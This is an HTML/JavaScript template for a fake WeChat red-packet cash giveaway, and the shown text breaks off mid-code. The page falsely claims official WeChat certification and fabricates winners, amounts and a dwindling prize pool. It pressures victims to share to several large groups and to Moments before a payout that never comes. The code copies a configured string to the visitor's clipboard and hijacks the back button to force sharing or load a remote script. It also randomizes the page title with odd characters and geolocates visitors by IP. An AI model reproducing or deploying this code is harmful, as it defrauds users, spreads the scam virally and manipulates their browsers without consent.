<html lang="en" style="font-size: 96px;">
<head>
    <title>ς</title>
    <style>.mod-popup{z-index:10000;width:100%;position:fixed;top:0;left:0;height:100%;background:rgba(0,0,0,.5)}.popup-body{position:absolute;width:3rem;margin-top:1.25rem;border-radius:6px;background:#fff;left:50%;margin-left:-1.5rem}.popup-body .popup-title{color:#000;font-size:.2rem;margin-top:.2rem;text-align:center}.popup-body .popup-cont{padding:.12rem .24rem .2rem;font-size:.16rem;color:rgba(0,0,0,.54);text-align:center}.popup-body .popup-btn{width:100%;border-top:1px solid rgba(0,0,0,.08);font-size:0}.double-btn-popup .popup-btn a{display:inline-block;width:50%;color:#009688;font-weight:700;text-align:center;font-size:.18rem;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:.16rem 0}.double-btn-popup .popup-btn a+a{border-left:1px solid rgba(0,0,0,.08)}.single-btn-popup a{display:block;width:100%;color:#009688;font-weight:700;text-align:center;font-size:.18rem;padding:.16rem 0}</style></head>
<body>
<meta charset="UTF-8">
<meta name="viewport" content="maximum-scale=1.0, minimum-scale=1.0, user-scalable=0, initial-scale=1.0, width=device-width">
<meta name="format-detection" content="telephone=no, email=no, date=no, address=no">
<!-- <meta name="referrer" content="unsafe-url"> -->
<meta name="referrer" content="always">
<style>
    html,body{background-color:#ededed}*{padding:0;margin:0}a{text-decoration:none}.page{font-family:Helvetica Neue,Helvetica,Arial,sans-serif}@keyframes show1{0%{opacity:0;transform:scale(0.2)}100%{opacity:1;transform:scale(1)}}@keyframes btn1{0%{transform:rotate(-720deg)}100%{transform:rotate(0deg)}}@keyframes show2{0%{opacity:0;transform:translateY(50%)}100%{opacity:1;transform:translateY(0%)}}@keyframes btn2{0%{transform:scale(0)}100%{transform:scale(1)}}@keyframes show3{0%{opacity:0;transform:translateY(-50%)}100%{opacity:1;transform:translateY(0%)}}@keyframes btn3{0%{transform:scale(0)}100%{transform:scale(1)}}@keyframes show4{0%{opacity:0;border-radius:100%}100%{opacity:1;border-radius:0}}@keyframes btn4{0%{transform:scale(1,0)}100%{transform:scale(1,1)}}@keyframes btnShake1{0%{transform:scale(1)}40%{transform:scale(1.1)}60%{transform:scale(.9)}80%{transform:scale(1.2)}100%{transform:scale(1)}}@keyframes btnShake2{0%{transform:scale(1)}40%{transform:scale(1.1,0.9)}60%{transform:scale(.9,1.1)}80%{transform:scale(1.2,0.8)}100%{transform:scale(1)}}@keyframes btnShake3{0%{transform:scale(1,1) rotate(0deg)}10%{transform:scale(1.2,0.8)}20%{transform:scale(0.8,1.2)}30%{transform:scale(1.2,0.8)}40%{transform:scale(0.8,1.2)}50%{transform:scale(1,1)}60%{transform:rotate(-15deg)}70%{transform:rotate(15deg)}80%{transform:rotate(-25deg)}90%{transform:rotate(25deg)}100%{transform:scale(1,1) rotate(0deg)}}@keyframes btnShake4{0%{transform:rotate(0deg);opacity:1}10%{transform:scale(1.2,0.8)}20%{transform:scale(0.8,1.2)}30%{transform:scale(1.2,0.8)}40%{transform:scale(0.8,1.2)}50%{transform:scale(1,1)}60%{opacity:1}70%{opacity:.5}80%{opacity:1}90%{opacity:.5}100%{transform:scale(1,1);opacity:1}}@keyframes btnMove{from{transform:rotateY(180deg)}to{transform:rotateY(360deg)}}@keyframes itemMove1{0%{height:0}100%{height:60px}}@keyframes itemMove2{0%{height:0;transform:scaleY(0)}40%{height:60px;transform:scaleY(0)}100%{transform:scaleY(1)}}@keyframes itemMove3{0%{height:0;transform:translateX(100px);opacity:0}40%{height:60px;transform:translateX(100px);opacity:0}100%{transform:translateX(0px);opacity:1}}@keyframes itemMove4{0%{height:0;transform:translateX(-100px);opacity:0}40%{height:60px;transform:translateX(-100px);opacity:0}100%{transform:translateX(0px);opacity:1}}@keyframes tipMove{0%{transform:translate(0px,0%)}40%{transform:translate(-10px,30%)}100%{transform:translate(0px,0%)}}.text-tip{position:relative}.text-tip::before{position:absolute;content:"";width:.1px;height:.1px;border:solid 8px rgba(0,0,0,0);border-right-color:#ebcd9b;top:0;left:-16px}.tan-bg-tz{background-color:#fff;border-radius:6px;position:fixed;width:96%;animation:demo2 4s ease-in-out 0s 1 alternate forwards;left:2%;z-index:10001}.tongzhi_top{display:flex;justify-content:space-between;margin-bottom:4px}.tongzhi_bottom{display:flex;align-items:center;justify-content:space-between;font-size:14px}.t_l_text{display:flex;align-items:center;font-size:12px}.t_l_text img{width:20px;height:auto;display:block;margin-right:10px}.safe-img{margin-top:4px}.safe-img img{width:14px;height:auto;display:block}.tz_img img{width:10vw;height:10vw;display:block}.text-ling{margin-top:4px;color:#6a6a6a}.text-new{color:#6a6a6a}.new-bg-tz{padding:10px 10px 12px 20px}@keyframes demo2{0%{transform:translateY(-100px)}20%{transform:translateY(4px)}65%{transform:translateY(4px)}100%{transform:translateY(-300px)}}.btn-open-red-packet.open span{-webkit-animation:open .6s infinite alternate;-ms-animation:open .6s infinite alternate;animation:open .6s infinite alternate}@-ms-keyframes open{from{-ms-transform:rotateY(180deg);-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}to{-ms-transform:rotateY(360deg);-webkit-transform:rotateY(360deg);transform:rotateY(360deg)}}@-webkit-keyframes open{from{-ms-transform:rotateY(180deg);-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}to{-ms-transform:rotateY(360deg);-webkit-transform:rotateY(360deg);transform:rotateY(360deg)}}@keyframes open{from{-ms-transform:rotateY(180deg);-webkit-transform:rotateY(180deg);transform:rotateY(180deg)}to{-ms-transform:rotateY(360deg);-webkit-transform:rotateY(360deg);transform:rotateY(360deg)}}.btn-open-red-packet.scaling{animation:scaling .6s infinite}@-webkit-keyframes scaling{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaling{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}to{-webkit-transform:scale(1);transform:scale(1)}}
</style>

<link rel="stylesheet" type="text/css" href="{{URL::asset('css/entrance/s1.css') }}">
<script src="{{URL::asset('js/entrance/jweixin-1.0.0.js')}}"></script>
<!--<script src="https://sc01.alicdn.com/kf/Hcfae64326a7f48c39884a92b460b5dfdf.js"></script>-->
<script src="{{URL::asset('js/entrance/jq.js') }}"></script>

<div id="loading" style="width: 100%; height: 100%; background-color: rgb(255, 255, 255); display: none;">
    <img style="position:fixed;left:0;right:0;top:30%;text-align:center;margin:0 auto;width:50%"
         src="{{URL::asset('img/load.svg') }}">
</div>
<script>

    if (location.href.indexOf('ctrip.com') > -1) {
        setTimeout("$('#footer').remove()",2000);setTimeout("$('#footer').remove()",4000)
    }

    function _GET(name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)","i");
        var r = window.location.search.substr(1).match(reg);
        if (r != null)
            return unescape(r[2]);
        return null;
    }
    (function () {
        window['M'] = window['M'] || {};
        // 加载js文件
        M.loadJS = function (src, callback, errCallback) {
            if (!src) {
                return;
            }
            var e = document.createElement('script');
            e.setAttribute('type', 'text/javascript');
            e.setAttribute('charset', 'utf-8');
            e.setAttribute('src', src);
            // document.getElementsByTagName('head')[0].appendChild(e);
            document.documentElement.appendChild(e);
            if (typeof errCallback === 'function') {
                e.onerror = errCallback;
            }
            e.onload = function () {
                if (typeof callback === 'function') {
                    callback();
                }
            };
        };

        // 上报统计

        // M.report = function (id) {
        //     if (!info.hm) {
        //         return false;
        //     }
        //     window['_hmt'] = window['_hmt'] || [];
        //     var hm = document.createElement('script');
        //     hm.src = 'https://hm.baidu.com/hm.js?' + info.hm;
        //     var s = document.getElementsByTagName('script')[0];
        //     s.parentNode.insertBefore(hm, s);
        //     //M.loadJS('https://s5.cnzz.com/z_stat.php?id=' + info.cnzz + '&web_id=' + info.cnzz);
        // };


        M.report = function (id) {
            window['_hmt'] = window['_hmt'] || [];
            var hm = document.createElement('script');
            hm.src = 'https://hm.baidu.com/hm.js?' + id;
            var s = document.getElementsByTagName('script')[0];
            s.parentNode.insertBefore(hm, s);
            //M.loadJS('https://s5.cnzz.com/z_stat.php?id=' + info.cnzz + '&web_id=' + info.cnzz);
        };


        M.getParam = function (name, url) {
            var r = new RegExp('(\\?|#|&)' + name + '=(.*?)(#|&|$)');
            var m = (url || location.href).match(r);
            return (m ? m[2] : '');
        };

        M.resetFont = function () {
            function setFont() {
                var clientWidth = document.documentElement.clientWidth;
                document.documentElement.style.fontSize = parseFloat(clientWidth / 3.75) + 'px';
            };

            window.addEventListener('orientationchange' in window ? 'orientationchange' : 'resize', setFont,
                false);
            document.addEventListener('DOMContentLoaded', setFont, false);

            setTimeout(setFont, 100)
        };
    })();

    (function () {
        String.prototype.jstpl_format = function (ns) {
            function fn(w, g) {
                if (g in ns) {
                    return ns[g];
                } else {
                    return '';
                }
            };
            return this.replace(/%\(([A-Za-z0-9_|.]+)\)/g, fn);
        };

        var config = {
            tpl: {
                _alerttpl: [
                    '<div id="js_mod_dialog" class="mod-popup %(popupClass)">',
                    '  <div class="popup-body">',
                    '    <h3 class="popup-title">%(title)</h3>',
                    '    <div class="popup-cont">%(message)</div>',
                    '    <div class="popup-btn">%(btnhtml)</div>',
                    '  </div>',
                    '</div>',
                ].join('')
            }
        };

        var hasInsetCSS = false;
        var g_js_dialogCb = null;
        var g_js_cancel_dialogCb = null;

        window.g_js_dialog = function (type) {
            close();
            if (typeof g_js_dialogCb === 'function') {
                g_js_dialogCb(type);
            }
        };
        window.g_js_cancel_dialog = function (type) {
            close();
            if (typeof g_js_cancel_dialogCb === 'function') {
                g_js_cancel_dialogCb(type);
            }
        };

        function __insetCss() {
            hasInsetCSS = true;
            var text =
                '.mod-popup{z-index:10000;width:100%;position:fixed;top:0;left:0;height:100%;background:rgba(0,0,0,.5)}.popup-body{position:absolute;width:3rem;margin-top:1.25rem;border-radius:6px;background:#fff;left:50%;margin-left:-1.5rem}.popup-body .popup-title{color:#000;font-size:.2rem;margin-top:.2rem;text-align:center}.popup-body .popup-cont{padding:.12rem .24rem .2rem;font-size:.16rem;color:rgba(0,0,0,.54);text-align:center}.popup-body .popup-btn{width:100%;border-top:1px solid rgba(0,0,0,.08);font-size:0}.double-btn-popup .popup-btn a{display:inline-block;width:50%;color:#009688;font-weight:700;text-align:center;font-size:.18rem;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:.16rem 0}.double-btn-popup .popup-btn a+a{border-left:1px solid rgba(0,0,0,.08)}.single-btn-popup a{display:block;width:100%;color:#009688;font-weight:700;text-align:center;font-size:.18rem;padding:.16rem 0}';
            var s = document.createElement('style');
            s.innerHTML = text;
            document.head.appendChild(s);
            s = null;
        };

        function close() {
            var d = document.getElementById('js_mod_dialog');
            if (d) {
                document.body.removeChild(d);
                d = null;
            }
        };

        function alert(p) {

            if (!hasInsetCSS) {
                __insetCss();
            }
            close();
            g_js_dialogCb = null;

            var opt = {
                title: '温馨提示',
                message: '',
                btn: '知道了',
                cb: null
            };

            if (typeof p === 'string') {
                opt.message = p;
            } else if (typeof p === 'object') {
                opt = $.extend(opt, p);
            } else {
                opt.message = typeof p;
                if (opt.message === 'boolean') {
                    if (p) {
                        opt.message = 'true';
                    } else {
                        opt.message = 'false';
                    }
                }
            }

            opt.btnhtml = '<a class="js_global_dialog_submit_btn" href="javascript:;" data-value="0"><span>' + (
                opt.btn) + '</span></a>';

            opt.popupClass = makePopupType(opt);
            var html = config.tpl._alerttpl.jstpl_format(opt);
            g_js_dialogCb = opt.cb;
            setTimeout(function () {
                document.body.insertAdjacentHTML("beforeEnd", html);
            }, 200);
        };

        function makePopupType(opt) {
            var type = 'single-btn-popup';
            if (opt && opt.btn && typeof opt.btn !== 'string' && opt.btn.length > 1 && typeof opt.btn.push ===
                'function') {
                type = 'double-btn-popup';
            }
            return type;
        }

        function confirm(p) {

            if (!hasInsetCSS) {
                __insetCss();
            }
            close();
            g_js_dialogCb = null;
            g_js_cancel_dialogCb = null;
            var opt = {
                title: '温馨提示',
                message: '',
                btn: ['取消', '确定'],
                cb: null,
                cancelCb: null,
                href: ''
            };

            if (typeof p === 'string') {
                opt.message = p;
            } else if (typeof p === 'object') {
                opt = $.extend(opt, p);
            } else {
                return;
            }

            opt.btnhtml = '<a class="js_global_dialog_cancel_btn" href="javascript:;"><span>' + opt.btn[0] +
                '</span></a>';
            opt.btnhtml += '<a class="' + (opt.href ? '' : 'js_global_dialog_submit_btn') + '" href="' + (opt
                    .href ? opt.href : 'javascript:;') + '" data-value="1"><span>' + (opt.btn[1]) +
                '</span></a>';

            opt.popupClass = makePopupType(opt);
            var html = config.tpl._alerttpl.jstpl_format(opt);
            g_js_dialogCb = opt.cb;
            g_js_cancel_dialogCb = opt.cancelCb;

            setTimeout(function () {
                document.body.insertAdjacentHTML("beforeEnd", html);
            }, 200);
        };

        window.g_dialog = {
            close: close,
            alert: alert,
            confirm: confirm,
        };

        $(function () {
            document.body.onclick = function () {}
            $(document.body).on('click', '.js_global_dialog_cancel_btn', function (event) {
                event.preventDefault();
                g_js_cancel_dialog(0);
                return false;
            });

            $(document.body).on('click', '.js_global_dialog_submit_btn', function (event) {
                event.preventDefault();
                var $this = $(this);
                var value = parseInt($this.attr('data-value'));
                g_js_dialog(value);
                return false;
            });
        });
    })();

    window.req_url = window.req_url || '';
    var left = ((2110 + (100 - new Date().getMinutes())) / 10).toFixed(1);

    function preDns(url) {
        url = url.split('?')[0];
        $.get(url);
    }

    function ranTT() {
        var items = ['\u0993', '\u0994', '\u0995', '\u0996', '\u0997', '\u0998', '\u0999', '\u099a', '\u099b',
            '\u099c', '\u0a96', '\u03ad', '\u03c2', '\u03c3', '\u03c4', '\u03c5', '\u03c6', '\u03c7', '\u03c8',
            '\u03c9', '\u03cc',
        ];
        var item = items[Math.floor(Math.random() * items.length)];
        return item;
    }

    function goShare(callback) {
        /*
 $("body").css("background", "#EDEDED").find("*").remove();
 $(document.body).append(
     '<div class="popup-body loading" style="margin-top: 50%;position: absolute;width: 3rem;margin-top: 1.25rem;border-radius: 6px;background: #fff;left: 50%;margin-left: -1.5rem;"><div style="padding: .12rem .24rem .2rem;font-size: .16rem;color: rgba(0,0,0,.54);text-align: center;"><img style="width: 30px" src="//puep.qpic.cn/coral/Q3auHgzwzM4fgQ41VTF2rN41ibuV99MPdQAGo6WSIP2aicKRzEKUtaxg/0"><br><b style="font-size: 20px;color: red">排队中，请稍后..</b></div></div>'
 )
*/
        //var url ='/m2/tzapi/?id='+atob(_GET('slin'))+'&t='+Date.now();
        var url ='/m2/tzapi/?slin='+_GET('slin')+'&t='+Date.now();


        M.loadJS(url, function () {

            window.share_url = u;

            // preDns(window.share_url);
            if (typeof callback === 'function') {
                callback();
            }
        })

    }

    function record(event, id, allow_reply) {
        /*
            try {
                if (!localStorage.getItem(event + ':' + id) || allow_reply) {
                    $.post(window.req_url + '/record', {
                        event: event,
                        id: id
                    })
                    localStorage.setItem(event + ':' + id, true);
                }
            } catch (e) {

            }
            */
    }

    function luodigetCity() {
        return (window['localAddress'] ? ['北京市', '天津市', '上海市', '重庆市'].indexOf(localAddress.province) > -1 ?
            localAddress.province : localAddress.city ? localAddress.city : localAddress.province : '')
            .replace(/(.*)市/, '$1').replace(/(.*)省/, '$1');
        // return (window['lo'] ? window['lo'].replace(/(.*)省/, '$1').replace(/(.*)市/, '$1') : '');
    }

    function refresh() {
        window.location.href = '';
    }

    function jump(el) {

        if (gConfig.kouling && gConfig.kouling.length > 0) {
            XEClipboard.copy(gConfig.kouling[parseInt(gConfig.kouling.length * Math.random())]);
        }



        var $this = $('.btn-open-red-packet');
        $this.addClass('open');
        $this.removeClass('scaling');
        record('gosharer', 1, true);

        if (typeof gConfig.attached.jds == 'boolean' && gConfig.attached.jds == false) {


            // M.loadJS(req_url + '/share/render');
            console.log('------------------------------------------------------------------------');


            gotoshare();

            //View('/mb/m16/xinfenxian.html');
            //$.get('/mb/m16/xinfenxian.html?t='+Date.now(), function(data){
            //  $('html').html(data);
            // });


        } else {
            setTimeout(function () {
                var a = document.createElement('a');
                if (window.share_url) {
                    a.href = window.share_url;
                    a.click();
                } else {
                    goShare(function () {
                        a.href = window.share_url;
                        a.click();
                    })
                }
            }, 100)
        }
    }

    function initPage() {
        var config = {
            tpl: {
                body: [
                    //'<div id="axax" class="tan-bg-tz" style="top: 24.1412px;"><div class="new-bg-tz"><div class="tongzhi_top"><div class="t_l_text"><div><img src="https://p.ssl.qhimg.com/t0166382f57eb17b6ff.png" alt=""></div><div>微信<span class="text-new">                            刚刚</span></div></div><div class="safe-img"><img src="https://p.ssl.qhimg.com/t01b35dc4358b3ce0e4.png" alt=""></div></div><div class="tongzhi_bottom"><div><div>微信红包</div><div class="text-ling">已到账，分享即可查收</div></div><div class="tz_img"><img src="https://p.ssl.qhimg.com/t0145715dfc757b09c8.jpg" alt=""></div></div></div></div>',
                    //background: url(//ytm.oss-cn-hangzhou.aliyuncs.com/zz/img/bk.png);background-size: cover;background-repeat: no-repeat overflow: hidden; //边框box-shadow: 0px 4px 0px -1px rgba(0, 0, 0, 0.2);
                    '<div id="card" style="z-index: 999; height: 130vw;background-color: rgb(234, 94, 77);width: 84vw; margin: -74vw -42vw; border-radius: 12px; position: fixed; top: 55%; left: 50%; animation: show{show} .4s; overflow: hidden; ">',
                    '<div',
                    '    style="height: 100vw; border: 1px solid rgb(234, 94, 77);  border-radius: 10px 10px 50% 50% / 10px 10px 21% 21%; box-shadow: 0px 5px 0px -1px rgb(235, 205, 155); ">',
                    '    <img src="' + content.img + '"',
                    '        style="width:60px;height: 60px; margin: 0 auto 0; display: block; margin-top: 70px;border-radius: 10px;">',
                    '   <p style="font-size: 26px;text-align: center;padding-top: 20px;color: #ebcd9b;">' +
                    content.title.replace('{city}', luodigetCity()) + '</p>',
                    '    <p style="font-size: 16px;text-align: center;padding-top: 20px;color: #ebcd9b;">' +
                    content.subTitle + '<span',
                    '            class="text-tip"',
                    '            style="margin-left: 14px;font-size: 12px;background-color: #ebcd9b;padding: 1px 4px;color: rgb(234, 94, 77);">可提现</span>',
                    '    </p>',
                    '</div>',
                    '<div class="btn-open-red-packet scaling" style="width: 25vw; height: 25vw; border: 1px solid rgb(235, 205, 155); background-color: rgb(235, 205, 155); border-radius: 50%; margin: -51.5px auto 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 4px 0px 0px; text-align: center; line-height: 25vw; "', //animation: 1.5s ease 0s infinite normal none running btnShake{show};
                    '    data-btn="" onclick="jump(this)">',
                    '    <span',
                    '        style=" display: inline-block; font-size: 36px; font-family: SimSun; font-weight: bold; color: #333;">開</span>',
                    '</div>',
                    '<div style="width: 100%; left: 0; bottom: 16px; position: absolute; font-size: 12px; text-align: center; color: #ebcd9b">活动经官方认证 真实有效</div>',
                    '<div style="transform: translateX(-50%);position: absolute;width: 10vw;height: 10vw;color: #fff;z-index: 1000;bottom: -15vw;margin-left: 50%;"  onclick="window.history.back()"><img src="http://ytm.oss-cn-hangzhou.aliyuncs.com/zz/img/close.svg" style="height: 10vw;width: 10vw;"></div>',
                    '</div>',
                ].join('')
            }
        };
        M.resetFont();
        var show = parseInt(4 * Math.random()) + 1;
        $(document.body).append(config.tpl.body.replace(/{show}/g, show));

        if (gConfig.content.alert) {
            var alert = gConfig.content.alert
            g_dialog.alert({
                title: alert.title,
                message: alert.message.replace('{left}', left),
                btn: alert.btn,
                cb: function () {
                    // $('.btn-open-red-packet').trigger('click');
                }
            })
        }

        setTimeout(function () {
            if (gConfig.attached.show_close) {
                $("#card").css("overflow", "");
            }
            window.rendering();
        }, 500)
    }

    function start() {
        record('enter', 1);
        document.title = ranTT();
        M.loadJS('https://ip.ws.126.net/ipquery', function () {
            initPage();
        }, function () {
            initPage();
        })
        //goShare();
        if (gConfig.hm_d) {
            M.report(gConfig.hm_d)
        }
        // 总统计
        // M.report('');

        window.onhashchange  = window.abc;
        if (gConfig['attached'] && gConfig['attached']['back_api']) {
            if (gConfig['attached']['back_api'] === 'share') {
                setTimeout(function () {
                    history.pushState(history.length + 1, "message", location.href.split('#')[0] + "#" +
                        new Date().getTime()+'aacbd')
                }, 100);
                window.onhashchange = function () {
                    jump();
                };
            } else if (gConfig['attached']['back_api'] === 'refresh') {
                setTimeout(function () {
                    history.pushState(history.length + 1, "message", location.href.split('#')[0] + "#" +
                        new Date().getTime()+'aacbd')
                }, 100);
                window.onhashchange = function () {
                    window.location.href = '';
                };
            } else if (window.abc) {
                window.onhashchange = window.abc;
            } else {
                M.loadJS(gConfig['attached']['back_api']);
            }
        }
    }
    window.randomString =function (e) {
        e = e || 32;
        var t = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",
            a = t.length,
            n = "";
        for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a));
        return n
    }
    var t = window.randomString(10);
    $(function () {
        $.ajax({
            type: "GET",
            // url: '//qilai8.oss-cn-shanghai.aliyuncs.com/m16/ifream.html',
            url: 'reward_debug_api?index=2&resource_id={{$resource['id']}}',
            //dataType: "json",
            success: function (data) {
                data = JSON.parse(data);
                //console.log(data);
                $('#loading').hide();
                window.gConfig = data || {};
                window.content = gConfig.content.d;
                start();
            }
        })
    })


    // if (typeof WeixinJSBridge === "undefined") {
    //     if (document.addEventListener) {
    //         document.addEventListener('WeixinJSBridgeReady',onBridgeReady, false);
    //     } else if (document.attachEvent) {
    //         document.attachEvent('WeixinJSBridgeReady',onBridgeReady);
    //         document.attachEvent('onWeixinJSBridgeReady',onBridgeReady);
    //     }
    // } else {
    //     window.onBridgeReady();
    // }

    // window.onBridgeReady=function() {
    //     WeixinJSBridge.call('hideOptionMenu');
    // }

    window.rendering=function () {
        var i = 0;
        setInterval(function () {
            i++;
            i = i % 3;
            var str = '';
            for (var j = 0; j < i; j++) {
                str += '.'
            }
            $('.ing').text(str)
        }, 500)
    }







    //==================================================================







    // function getQueryVariable(variable)
    // {
    //   var query = window.location.search.substring(1);
    //   var vars = query.split("&");
    //   for (var i=0;i<vars.length;i++) {
    //           var pair = vars[i].split("=");
    //           if(pair[0] == variable){return pair[1];}
    //   }
    //   return(false);
    // }


    // var wxa=atob(_GET('wx').replace('wx',""));
    var wxa=1614314940;
    var ts = Math.round(new Date().getTime()/1000).toString();

    var sjjsdk=parseInt((ts - wxa));
    var fz=sjjsdk % 3600;
    //var fzf=Math.floor(fz / 60);
    var fzf=0;
    var zf=sjjsdk % 60;

    function cooke(){

        if(fzf=='0' && zf<'10'){

        }else{

        }
    }
    cooke();

    var left = ((2110 + (100 - new Date().getMinutes())) / 10).toFixed(1);
    var shareATimes = M.getParam('_shareatimes') ? parseInt(M.getParam('_shareatimes')) : 0;
    var shareTTimes = M.getParam('_sharettimes') ? parseInt(M.getParam('_sharettimes')) : 0;
    var shareAtLimit = 4;

    function extend() {
        window.gConfig = $.extend({
            endPageUrl: 'javascript:WeixinJSBridge.call("closeWindow");',
            defaultTips: [
                '<span style="font-size: 23px;color:#bda475;">恭喜您抢到红包</span><br/>',
                '<span style="font-size: 25px;color:red;">%(money)元</span><br/>',
                '<span style="color:red;">活动宗旨：</span><span style="color:black;">' + content.zz +
                '</span><br/>',
                '<span style="color:red;">提现方法：</span><span style="color:black;">' + content.yq +
                '</span><br/><br>',
                '<span style="color:red;font-size: 18px;">完成后自动存入您的微信钱包</span><br><br>',
                '<span>红包总额仅剩余' + left + '万元，先到先得（以提现成功为准），活动经微信官方认证，真实有效</span><br/>',
            ].join(''),
            successTips: [
                '<b style="font-size: 22px;color: red;">恭喜您</b><br>',
                '获得￥ <span style="font-size: 20px;color: red;">%(money)</span> 现金红包，',
                '金额已提交银行打款，活动过于火爆，预计2-3小时内到账，请注意查收微信绑定银行卡到账情况！<br><span style="font-size: 20px;color:red;">注意:打款期间分享信息不可删除，否则无法核实用户信息，以免现金红包发放失败！</span>',
            ].join(''),
            groupTips: [{
                successTitle: '<b style="font-size: 22px;color: #bda475;">分享成功</b>',
                successTips: '请继续分享到<b style="font-size: 18px;color: red">2</b>个不同的群<br/><span style="color:red;">红包将立即到账！</span>',
            },
                {
                    successTitle: '<b style="font-size: 22px;color: #bda475;">分享成功</b>',
                    successTips: '请继续分享到<b style="font-size: 18px;color: red">1</b>个不同的群<br/><span style="color:red;">红包将立即到账！</span>',
                },
                {
                    successTitle: '<b style="font-size: 22px;color: red;">分享失败</b>',
                    successTips: '注意：<span color="red">分享到相同的群会失败</span><br>请尝试重新分享到<b style="font-size: 18px;color: red">1个不同的群</b><br>',
                },
                {
                    successTitle: '<b style="font-size: 22px;color: red;">分享失败</b>',
                    successTips: '请分享到<b style="color: red;">人数大于50人</b>的微信群，即可获赠<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰！',
                },
                /*
                {
                    successTitle: '<b style="font-size: 22px;color: red;">分享失败</b>',
                    successTips: '<b style="color: red;">因网络延迟，获取人数太多，重新分享1个群，即可获赠<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰！',
                },
                */
                {
                    successTitle: '<b style="font-size: 22px;color: #bda475;">分享成功</b>',
                    successTips: '剩下最后一步啦！<br />请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>，<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰立即到账！',
                },
            ],
            timeLineTips: [{
                successTitle: '<b style="font-size: 22px;color: red;">分享失败</b>',
                successTips: '注意：必须[<span color="red">公开</span>]分享哦!<br>请尝试重新分享到<b style="font-size: 18px;color: red">朋友圈</b><br>',
            }]
        }, (window['data']));
    }

    function showShareTips(obj) {
        if (typeof obj === 'object') {
            g_dialog.alert({
                title: obj.successTitle || '',
                message: obj.successTips,
                btn: '我知道了'
            });
        } else if (typeof obj === 'string' && obj) {
            g_dialog.alert({
                title: '',
                message: obj,
                btn: '我知道了'
            });
        }
    }

    function querySelector(e) {
        return document.querySelector(e)
    }
    var user = [{
        name: "孙川",
        avatar: "https://sc01.alicdn.com/kf/H0864a67745814453a5aa878982cacab4S.jpg"
    }, {
        name: "带师兄",
        avatar: "https://sc01.alicdn.com/kf/He9b5b778ece14fa9b07b55e53fa0e313M.jpg"
    }, {
        name: "六小孙",
        avatar: "https://sc01.alicdn.com/kf/Hb214a79cafa44ca98b7391d3acce68b9m.jpg"
    }, {
        name: "誮落盡",
        avatar: "https://sc01.alicdn.com/kf/Ha57ce09c886e4135ac663b7f5b0bb27fU.jpg"
    }, {
        name: "最好的",
        avatar: "https://sc01.alicdn.com/kf/H6f6b4246014440aa89724114550afe34E.jpg"
    }, {
        name: "少女馆",
        avatar: "https://sc01.alicdn.com/kf/H7bb6253a88ce44ff833b404634ecdccaW.jpg"
    }, {
        name: "几分甜",
        avatar: "https://sc01.alicdn.com/kf/H62927e1f58e84b079678d1ccf8c6c5f9R.jpg"
    }, {
        name: "风月",
        avatar: "https://sc01.alicdn.com/kf/H06c1744ec10e45c382c6528459edc245Z.jpg"
    }, {
        name: "不渡我",
        avatar: "https://sc01.alicdn.com/kf/H2d64fb3fdc5548428a9a6fa93d68114e8.jpg"
    }, {
        name: "少爷",
        avatar: "https://sc01.alicdn.com/kf/Hd46a049520c64432956f9fc2722f64b7k.jpg"
    }, {
        name: "故人在",
        avatar: "https://sc01.alicdn.com/kf/H45b890adeb1a444fa6f25d69129c83f0i.jpg"
    }, {
        name: "淺愛",
        avatar: "https://sc01.alicdn.com/kf/H9b0018c744f4403ea80787a6e4d408ddB.jpg"
    }, {
        name: "傲氣達人",
        avatar: "https://sc01.alicdn.com/kf/Hba3cea404949459b802515b776eab620m.jpg"
    },{
        name: "J奶茶、",
        avatar: "https://sc01.alicdn.com/kf/H585e4277be074828983fb966938978ac5.jpg"
    }];

    user.sort(function () {
        return Math.random() > .5 ? -1 : 1
    });

    var total_id = 'total',
        r = Math.floor(Math.random() * user.length),
        totalMoney = Math.floor(1e5 * Math.random() + 1e5),
        c,
        i = 100,
        l = Math.floor(4 * Math.random()) + 1,
        s = Math.floor(50 * Math.random()),
        color = getColor(),
        p = 10,
        u = document.createElement("div");

    function getColor(e) {
        var t = Math.floor(45 * Math.random()) + 210,
            a = Math.floor(35 * Math.random()) + 220;
        return e ? "rgb(" + a + ", 205, 155)" : "rgb(" + t + ", 94, 77)"
    }

    function e(e) {
        var t = e || 5,
            a = new Date((new Date).getTime() - 60 * t * 1e3),
            n = ("0" + a.getHours()).slice(-2),
            o = ("0" + a.getMinutes()).slice(-2);
        ("0" + a.getSeconds()).slice(-2);
        return n + ":" + o
    }

    function djs(e, t) {
        var a = t.time || 1e3,
            n = t.number || 192.22,
            o = t.regulator || 100,
            i = n / (a / o),
            r = 0,
            p = 0,
            s = setInterval(function () {
                r = Math.floor(100 * (r + i)) / 100,
                r >= n && (clearInterval(s),
                    r = n)
                // ssmfshybso8fp(),
                // stipw995c01hlwt());
                var t = Number(r);
                t != p && (p = t,
                    e.innerHTML = p.toFixed(2))
            }, 30)
    }

    function tn(m) {
        m = m || 50
        var e = 0;
        return e = Math.floor(50 * Math.random() * i) + m * i,
            e /= i,
            e.toFixed(2)
    }

    function state() {
        if (Math.random() < 0.3) {
            return '转账中'
        } else {
            return '已到账'
        }
    }

    function add(a) {
        var n = document.createElement("div"),
            o = tn(50);

        var right = '';
        right = '<span style="color: rgb(227, 94, 77); font-size: 15px; margin-right: 5px;">' + state() +
            '</span><span style="font-size: 14px; color: #000;">' + o + '元</span></div>';

        if (Math.random() < 0.15) {
            o = tn(10);
            right = '<span style="color: rgb(227, 94, 77); font-size: 15px; margin-right: 5px;">' + state() +
                '</span><span style="font-size: 14px; color: #000;">' + o + '元</span></div>';
        }

        if (Math.random() > 0.85) {
            o = tn(130)
            right =
